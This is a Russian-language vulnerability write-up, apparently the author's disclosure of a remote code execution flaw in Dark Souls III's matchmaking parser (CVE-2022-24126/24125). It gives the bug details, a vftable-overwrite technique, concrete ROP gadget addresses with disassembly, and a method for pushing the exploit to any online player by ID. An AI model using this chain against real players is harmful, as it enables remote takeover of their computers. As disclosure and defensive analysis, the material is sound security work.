Сводка по эксплойту (CVE-2022-24126)

Некорректная проверка границ стекового буфера и поля размера данных при разборе матчмейкинг-данных NRSessionSearchResult позволяет атакующему выполнить произвольный код. Переполнение стека позволяет перезаписать младшие два байта vftable_ptr объекта DLMemoryInputStream, используемого внутри потоковым ридером, перенаправляя выполнение на тщательно выбранный соседний код. Умелое использование структуры объекта DLMemoryInputStream и поля размера данных затем позволяет добиться перенаправления произвольного кода, при этом RCX указывает на адрес нашего пакета. Далее серия перенаправлений кода через виртуальные вызовы с различными смещениями (которые теперь будут переходить по адресам, записанным нами в буфер пакета) может быть использована для достижения выполнения произвольного кода.

Векторы распространения (CVE-2022-24125)

Векторы распространения — это то, что делает данную RCE особенно серьёзной (помимо того, что это уже RCE). Эксплойт передаётся через push-запросы матчмейкинга, содержащие информацию NRSessionSearchResult. Это означает, что атакующий может нацелиться на любого, кто присоединяется к его онлайн-сессии. В частности, для DS3:

• призыв фантомов (PushRequestSummonSign)
• вторжения тёмных духов (PushRequestAllowBreakInTarget)
• игроки, присоединяющиеся через ковенант (PushRequestVisit)
• участники арены (PushRequestAcceptQuickMatch)

Это уже довольно плохо, но настоящий потенциал открывается запросом RequestSendMessageToPlayers:

message RequestSendMessageToPlayers { 
    repeated uint32 player_ids = 1; 
    required bytes push_message = 2;
}

Хост использует этот запрос для прямой отправки push-сообщения PushRequestAllowBreakInTarget вторгшимся духам, чтобы они могли получить координаты появления и присоединиться к его P2P-сессии. Вот и всё. Это единственный способ использования этого запроса в игре.

Тем не менее он позволяет любому клиенту отправлять произвольные push-сообщения сотням тысяч конкретных игроков.

Я не могу достаточно подчеркнуть, насколько это ужасно небезопасно. Любой игрок может фактически выдать себя за матчмейкинг-сервер. Используя этот запрос для отправки эксплойта через PushRequestVisit, атакующий может удалённо нацелиться на любого онлайн-игрока, если известен его ID игрока. Атакующий также может очень быстро отправить эксплойт всей онлайн-аудитории, отправив несколько запросов, каждый из которых содержит большой диапазон возможных ID игроков.

Общая тактика эксплуатации для всех игр

Хотя RCE не переносится один в один на каждую игру, основная идея эксплойта, дающая атакующему перенаправление произвольного кода, одинакова. Если этого удаётся достичь, весьма вероятно, что затем можно найти специфичную для игры цепочку виртуальных вызовов или ROP-цепочку. Этот «первый шаг» использует следующие уязвимости:

Ошибка №1: отсутствие проверки границ в парсере списка записей

Push-запросы матчмейкинга, содержащие информацию о присоединении к сессии, хранят эту информацию в собственном двоичном формате, который представляет собой цепочку записей данных, разделённых по длине. Каждая запись имеет следующий формат:

struct Entry
{
    uint32_t type_or_id; // not sure, but probably a type (fixed length = 2, variable length = 1 ?)
    uint32_t size;
    uint8_t data[size];
}

Игровая функция, отвечающая за копирование данных этих записей, слепо доверяет полю размера, что создаёт чтение за пределами границ. Злоумышленный клиент может воспользоваться этим, установив поле размера в такие значения, как 0x7FFFFFFF, что приведёт к сбою выделения памяти и вылету игры жертвы. Позже этот размер также передаётся в конструктор DLMemoryInputSteam, что является важной частью эксплойта.

Ошибка №2: переполнение буфера в парсере NRSessionSearchResult

Одна из записей в структуре данных, описанной выше, представляет собой сериализованный объект NRSessionSearchResult. Парсер этих данных сначала разбирает список свойств. Эти свойства могут быть 4-байтовыми целыми, 8-байтовыми целыми или широкими строками с завершающим нулём. За этим списком свойств следует имя профиля Steam хоста в виде широкой строки с завершающим нулём и некоторые дополнительные данные, не важные для эксплойта. И эта функция, и парсер списка свойств используют стековый буфер фиксированного размера для чтения строк, и в обоих случаях проверка границ буфера не выполняется. Вот игровой код, отвечающий за копирование имени хоста (получен с помощью декомпилятора Ghidra и затем очищен):

size_t idx = 0;
wchar_t wchr = 0;
do {
  // read_wchar() function at vftable index 17 of DLEndianStreamReader
  wchr = stream_reader->read_wchar();
  player_name_buff[idx] = wchr;
  idx++;
} while (wchr != 0);

Это приводит к эксплуатации переполнения буфера, позволяя атакующему повредить стек.

Подготовка к цепочке виртуальных вызовов / ROP-цепочке

Чтобы добиться перенаправления произвольного кода, мы используем это, а также раскладку памяти объекта DLMemoryInputStream, создаваемого на стеке функцией, вызывающей парсер; этот объект используется внутри потоковым ридером:

struct DLMemoryInputStream {
    uintptr_t* vftable_ptr; // Offset 0
    size_t data_size;       // Offset 4 (32bit) / 8 (64bit)
    uint8_t* data_buffer;   // Offset 8 (32bit) / 16 (64bit)
    // Entries after the buffer are not important for the exploit
}

Поскольку мы контролируем поле data_size (Ошибка №1), его можно установить в адрес стековой памяти поля data_buffer. Это сработает при условии, что адрес постоянен и не слишком велик (DS3 удовлетворяет этим требованиям). Так как компилятор размещает стековый буфер в верхней части кадра, атакующий затем может использовать Ошибку №2, чтобы перезаписать младшие два байта поля vftable_ptr объекта DLMemoryInputStream. Поэтому при чтении следующего символа DLEndianStreamReader внутренне вызовет DLMemoryInputStream, и выполнение будет перенаправлено. Этих 2 байт достаточно, чтобы перейти к 22-й функции в vftable DLEndianStreamReader, которая вызывает 6-й виртуальный метод объекта, на который указывает её первое поле. В 64-битном процессе (т.е. Dark Souls III) будут выполнены следующие инструкции:

MOV       RCX,qword ptr [RCX + 0x8]
MOV       RAX,qword ptr [RCX]
JMP       qword ptr [RAX + 0x40]

Поскольку RCX является указателем на объект DLMemoryInputStream, первая инструкция записывает в RCX поле data_size, которое атакующий с помощью Ошибки №1 установил в стековый адрес, указывающий на поле data_buffer. Следующие две инструкции таким образом перенаправят выполнение на адрес памяти, который атакующий записал по смещению 0x40 в буфере данных. Перенаправление произвольного кода достигнуто! Отсюда атакующий может выстроить цепочку перенаправления кода, которая копирует его полезную нагрузку в подходящую область памяти и выполняет её, выбирая код рядом с виртуальными вызовами с различными смещениями, поскольку буфер теперь действует как таблица виртуальных методов. Для доказательства концепции в Dark Souls III я нашёл схему, для которой требуется всего 3 гаджета для достижения RCE:

• 0x18: 140e97700
• 0x40: 1422be020
• 0x68: 140e40f15

Код доказательства концепции для Dark Souls III

Запуск PoC-кода

Вектор атаки

Для доказательства концепции я решил использовать сообщение PushRequestVisit, отправляемое через RequestSendMessageToPlayers. Это самая действенная версия эксплойта в том смысле, что игра цели немедленно начнёт разбор уязвимых данных после их получения в любых ситуациях (даже в главном меню).

Цепочка перенаправления виртуальных вызовов

Смещение 0x18: 140e97700

LEA       RAX,[DAT_144786150]
RET

Этот гаджет используется в гаджете по адресу 0x68. Нам нужно поместить в RAX адрес ниже, но довольно близкий к 144786998; это самый близкий из них.

Смещение 0x40: 1422be020

MOV       RDX,RAX
MOV       R8,qword ptr [RCX]
CALL      qword ptr [R8 + 0x68]

Чтобы иметь возможность использовать гаджет по смещению 0x68, необходимо, чтобы адрес буфера данных хранился в RDX, а RCX остался прежним. Этот гаджет делает именно это.

Смещение 0x68: 140e40f15

; Jumping here from the gadget at offset 0x40
MOV       RBX,RDX
CMP       R9,R8

 ; Never jumps, R9 != R8
JZ        LAB_140e40f7a
MOV       RAX,qword ptr [RCX]
MOV       R8,qword ptr [RSP + 0x50]
MOV       RDX,R9
MOV       qword ptr [RSP + 0x30],RSI

; Call gadget at offset 18 (140e97700). Loads 144786150 into RAX
CALL      qword ptr [RAX + 0x18]
MOV       RSI,RAX
TEST      RAX,RAX

; Never jumps, RAX is the data buffer addr.
JZ        LAB_140e40f4d 
CMP       RBP,RDI
MOV       RDX,RBX
MOV       RCX,RAX
CMOVC     RDI,RBP
MOV       R8,RDI ; RDI is a stack address close to 14F3B0, so the memcpy succeeds
CALL      memcpy

LAB_140e40f4d:
TEST      RBX,RBX
; Never jumps as RBX == RDX == data buffer addr, nonzero. 
JZ        LAB_140e40f62 

; We have our now fully control this RWE memory region due to the memcpy at 144786150. RCE has been achieved!
MOV       RCX,qword ptr [DAT_144786998]
MOV       RDX,RBX
MOV       RAX,qword ptr [RCX]
CALL      qword ptr [RAX + 0x68]

Этот гаджет делает за нас почти всё. Он вызывает смещение 0x18, чтобы получить указатель назначения для memcpy, копирует туда наш пакет, а затем вызывает виртуальную функцию по смещению 0x68 у статического объекта по адресу 144786998, который теперь полностью контролируется нами благодаря вызову memcpy. Поскольку объём памяти, повреждаемый memcpy, велик, а некоторые области постоянно записываются другими игровыми потоками, эксплойт сначала загружает «подготовительную» полезную нагрузку, которая копируется в безопасное место, приостанавливает все остальные потоки и заново копирует нашу фактическую полезную нагрузку перед переходом к ней. Подробнее см. в rce.h.

Дополнительная информация

Рекомендую изучить исходный код доказательства концепции, так как в нём много комментариев, подробно описывающих структуру пакета. Если вы хотите увидеть, что происходит на каждом шаге в реальном времени (а стоит — это довольно круто!), вы можете внедрить DLL доказательства концепции, запустив игру под отладчиком с точками останова на следующих интересующих адресах:

140ca5960

По сути, здесь начинается эксплойт. Эта функция отвечает за разбор данных списка записей с разделителями размера в сообщении PushRequestVisit. Сначала она извлекает каждую запись списка в различные векторы:

0x140ca59f8:
    player_data_cpy_ptr = (std_vector *)VectorCopy2_140ca4ef0(&player_data_cpy,player_data);
    FUN_140ca5010(player_data_cpy_ptr,&spawn_data,0x1c);
    FUN_140ca5010(player_data_cpy_ptr,&unk,4);
    FUN_140ca4fa0(player_data_cpy_ptr,&nrssr_data);